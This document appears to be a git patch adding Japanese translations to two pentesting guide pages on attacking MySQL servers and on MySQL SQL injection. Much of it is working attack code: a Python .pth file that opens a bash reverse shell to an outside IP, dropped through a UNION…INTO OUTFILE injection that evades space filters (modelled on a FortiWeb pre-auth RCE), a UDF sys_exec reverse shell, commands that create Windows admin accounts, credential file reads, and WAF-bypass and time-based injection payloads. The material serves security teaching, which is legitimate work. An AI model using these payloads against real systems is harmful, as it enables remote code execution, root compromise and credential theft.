From 839b7ba44ade4b5016e83aca0670679c76967282 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 14 Jul 2025 08:42:21 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/ --- .../pentesting-mysql.md | 85 ++++++++++++++----- .../sql-injection/mysql-injection/README.md | 53 +++++++++--- 2 files changed, 103 insertions(+), 35 deletions(-) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 402f1a55d..e334c0b28 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -1,10 +1,15 @@ # 3306 - Pentesting Mysql +{{#include /banners/hacktricks-training.md}} + +## References +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + {{#include ../banners/hacktricks-training.md}} ## **基本情報** -**MySQL**は、無償で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**で動作し、データベースの管理と操作を可能にします。 +**MySQL** は、無料で利用できるオープンソースの **リレーショナルデータベース管理システム (RDBMS)** として説明できます。これは **構造化クエリ言語 (SQL)** に基づいて動作し、データベースの管理と操作を可能にします。 **デフォルトポート:** 3306 ``` @@ -22,9 +27,9 @@ mysql -u root -p # A password will be asked (check someone) mysql -h -u root mysql -h -u root@localhost ``` -## External Enumeration +## 外部列挙 -一部の列挙アクションには有効な資格情報が必要です +いくつかの列挙アクションには有効な資格情報が必要です。 ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -78,7 +83,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### MySQL 権限列挙 +### MySQLの権限列挙 ```sql #Mysql SHOW GRANTS [FOR user]; @@ -109,14 +114,51 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -## MySQLクライアントによる任意のファイルの読み取り +#### INTO OUTFILE → Python `.pth` RCE(サイト固有の設定フック) -実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取って**その内容を送信するように要求します。**したがって、mysqlクライアントを改ざんして自分のMySQLサーバーに接続できれば、任意のファイルを読み取ることができます。**\ -この動作は次のように使用されることに注意してください: +古典的な `INTO OUTFILE` プリミティブを悪用することで、後に **Python** スクリプトを実行するターゲットで *任意のコード実行* を取得することが可能です。 + +1. `INTO OUTFILE` を使用して、`site.py` に自動的に読み込まれる任意のディレクトリ内にカスタム **`.pth`** ファイルをドロップします(例: `.../lib/python3.10/site-packages/`)。 +2. `.pth` ファイルには、`import ` で始まる *1行* の任意のPythonコードを含めることができ、インタープリタが起動するたびに実行されます。 +3. インタープリタがCGIスクリプトによって暗黙的に実行されるとき(例えば、`#!/bin/python` のシバンを持つ `/cgi-bin/ml-draw.py`)、ペイロードはウェブサーバープロセスと同じ特権で実行されます(FortiWebはそれを **root** として実行しました → 完全な事前認証RCE)。 + +例の `.pth` ペイロード(単一行、最終SQLペイロードにスペースを含めることはできないため、hex/`UNHEX()` または文字列連結が必要になる場合があります): +```python +import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) +``` +**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保つ): +```sql +'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' +``` +重要な制限事項とバイパス: + +* `INTO OUTFILE` **は既存のファイルを上書きできません**; 新しいファイル名を選択してください。 +* ファイルパスは **MySQLのCWDに対して相対的に解決される**ため、`../../`をプレフィックスとして使用することでパスを短縮し、絶対パスの制限をバイパスできます。 +* 攻撃者の入力が`%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス`/**/`または`/*!*/`を使用してください。 +* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが**root**として実行され、ほぼすべての場所に書き込みアクセスが与えられます。 + +`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を取得します: +``` +GET /cgi-bin/ml-draw.py HTTP/1.1 +Host: +``` +Pythonプロセスは悪意のある`.pth`を自動的にインポートし、シェルペイロードを実行します。 +``` +# Attacker +$ nc -lvnp 4444 +id +uid=0(root) gid=0(root) groups=0(root) +``` +--- + +## MySQL クライアントによる任意のファイルの読み取り + +実際に、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\ +この動作は次のようになります: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(「local」という単語に注意してください)\ +(「local」という単語に注意してください)\ 「local」がないと、次のようになります: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -124,8 +166,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**この論文では、攻撃の完全な説明と、RCEに拡張する方法を確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -147,7 +189,7 @@ MySQLサービスの設定では、その操作とセキュリティ対策を定 - **`user`** 設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。 - **`password`** は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。 - **`admin_address`** は、管理ネットワークインターフェースでTCP/IP接続をリッスンするIPアドレスを指定します。 -- **`debug`** 変数は、現在のデバッグ設定を示し、ログ内に機密情報を含むことがあります。 +- **`debug`** 変数は、ログ内の機密情報を含む現在のデバッグ設定を示します。 - **`sql_warnings`** は、警告が発生したときに単一行INSERT文のために情報文字列が生成されるかどうかを管理し、ログ内に機密データを含むことがあります。 - **`secure_file_priv`** により、データのインポートおよびエクスポート操作の範囲が制限され、セキュリティが強化されます。 @@ -171,16 +213,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### 特権昇格 via ライブラリ -もし **mysqlサーバーがrootとして実行されている**(または他の特権のあるユーザーとして)場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。 +もし**mysqlサーバーがroot**(または他の特権のあるユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。 -使用する悪意のあるライブラリは、sqlmap内やmetasploit内で **`locate "*lib_mysqludf_sys*"`** を実行することで見つけることができます。**`.so`** ファイルは **linux** ライブラリで、**`.dll`** は **Windows** のものです。必要なものを選んでください。 +使用する悪意のあるライブラリは、sqlmap内やmetasploit内で**`locate "*lib_mysqludf_sys*"`**を実行することで見つけることができます。**`.so`**ファイルは**linux**ライブラリで、**`.dll`**は**Windows**用のものです。必要なものを選んでください。 -もし **それらのライブラリがない**場合は、**探す**か、この [**linux Cコード**](https://www.exploit-db.com/exploits/1518) をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください: +もし**それらのライブラリがない**場合は、**探す**か、この[**linux Cコード**](https://www.exploit-db.com/exploits/1518)をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -今、ライブラリがあるので、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください: +ライブラリを取得したら、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください: #### Linux ```sql @@ -202,7 +244,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); ``` -#### Windows +#### ウィンドウズ ```sql # CHech the linux comments for more indications USE mysql; @@ -216,13 +258,13 @@ SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### MySQLの資格情報をファイルから抽出する -_/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint** の **平文パスワード** が含まれています。 +_/etc/mysql/debian.cnf_ の中に、ユーザー **debian-sys-maint** の **平文パスワード** を見つけることができます。 ```bash cat /etc/mysql/debian.cnf ``` -これらの資格情報を使用して**MySQLデータベースにログインできます**。 +これらの資格情報を使用して、mysqlデータベースにログインできます。 -ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**(データベース内のmysql.userから抽出できるもの)が見つかります_。 +ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**(データベース内のmysql.userから抽出できるもの)が見つかります。 これらを抽出するには、次のようにします: ```bash @@ -230,7 +272,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na ``` ### ロギングの有効化 -mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、以下の行のコメントを外します。 +mysqlクエリのロギングを`/etc/mysql/my.cnf`内で有効にするには、以下の行のコメントを外します。 ![](<../images/image (899).png>) @@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -​ +## 参考文献 +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 804eb637c..b1993d8d4 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -12,9 +12,9 @@ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` -## 興味深い機能 +## 興味深い関数 -### Mysqlの確認: +### Confirm Mysql: ``` concat('a','b') database() @@ -48,6 +48,8 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` +from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) + ## フロー 「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてください(これはWAFを回避するのに役立つかもしれません)。 @@ -62,7 +64,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `group_concat()` - `Limit X,1` -### **ブラインド1つずつ** +### **ブラインド一つずつ** - `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` @@ -77,7 +79,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ## 列の数を検出 -単純なORDERを使用して +単純なORDERを使用 ``` order by 1 order by 2 @@ -99,13 +101,13 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます**](mysql-ssrf.md)**。** +**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するための異なるオプションを学びます**](mysql-ssrf.md)**。** ## WAFバイパストリック -### 準備されたステートメントを通じてクエリを実行する +### プリペアドステートメントを通じてクエリを実行する -スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当て(SETを使用)、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。次のようなものです: +スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当て(SETを使用)、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。こんな感じです: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` @@ -113,7 +115,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ### Information_schemaの代替 -「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。 +「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを忘れないでください。 ### MySQLインジェクション(カンマなし) @@ -123,22 +125,44 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ### 列名なしで値を取得する -もし、テーブルの名前はわかっているが、そのテーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます: +もし、テーブルの名前はわかっているが、テーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -フラグの内容を文字ごとに試してブルートフォースすることができます。最初の列がIDで、もう一つの列がフラグであると仮定します。 +2つの列があると仮定します(最初の列がIDで、もう1つの列がフラグです)。フラグの内容を文字ごとにブルートフォースしてみることができます: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` -[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)の詳細情報 +More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) + +### SPACESなしのインジェクション (`/**/` コメントトリック) + +一部のアプリケーションは、`sscanf("%128s", buf)` のような関数を使用してユーザー入力をサニタイズまたは解析し、**最初のスペース文字で停止します**。 +MySQLは`/**/`のシーケンスをコメント*および*ホワイトスペースとして扱うため、クエリを文法的に有効に保ちながら、ペイロードから通常のスペースを完全に削除するために使用できます。 + +スペースフィルターをバイパスする時間ベースのブラインドインジェクションの例: +```http +GET /api/fabric/device/status HTTP/1.1 +Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' +``` +データベースが受け取るものは: +```sql +' OR SLEEP(5)-- -' +``` +これは特に便利です: + +* 制御可能なバッファのサイズが制限されている場合(例:`%128s`)で、スペースが入力を早期に終了させる場合。 +* 通常のスペースが削除されるか、区切りとして使用されるHTTPヘッダーや他のフィールドを通じて注入する場合。 +* `INTO OUTFILE` プリミティブと組み合わせて、完全な事前認証RCEを達成する場合(MySQL File RCEセクションを参照)。 + +--- ### MySQLの歴史 -**sys.x$statement_analysis**テーブルを読み取ることで、他の実行を確認できます。 +MySQL内で他の実行を確認できます:**sys.x$statement_analysis** ### バージョンの代替**s** ``` @@ -148,11 +172,12 @@ mysql> select version(); ``` ## その他のMYSQLインジェクションガイド -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## 参考文献 -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../../../banners/hacktricks-training.md}}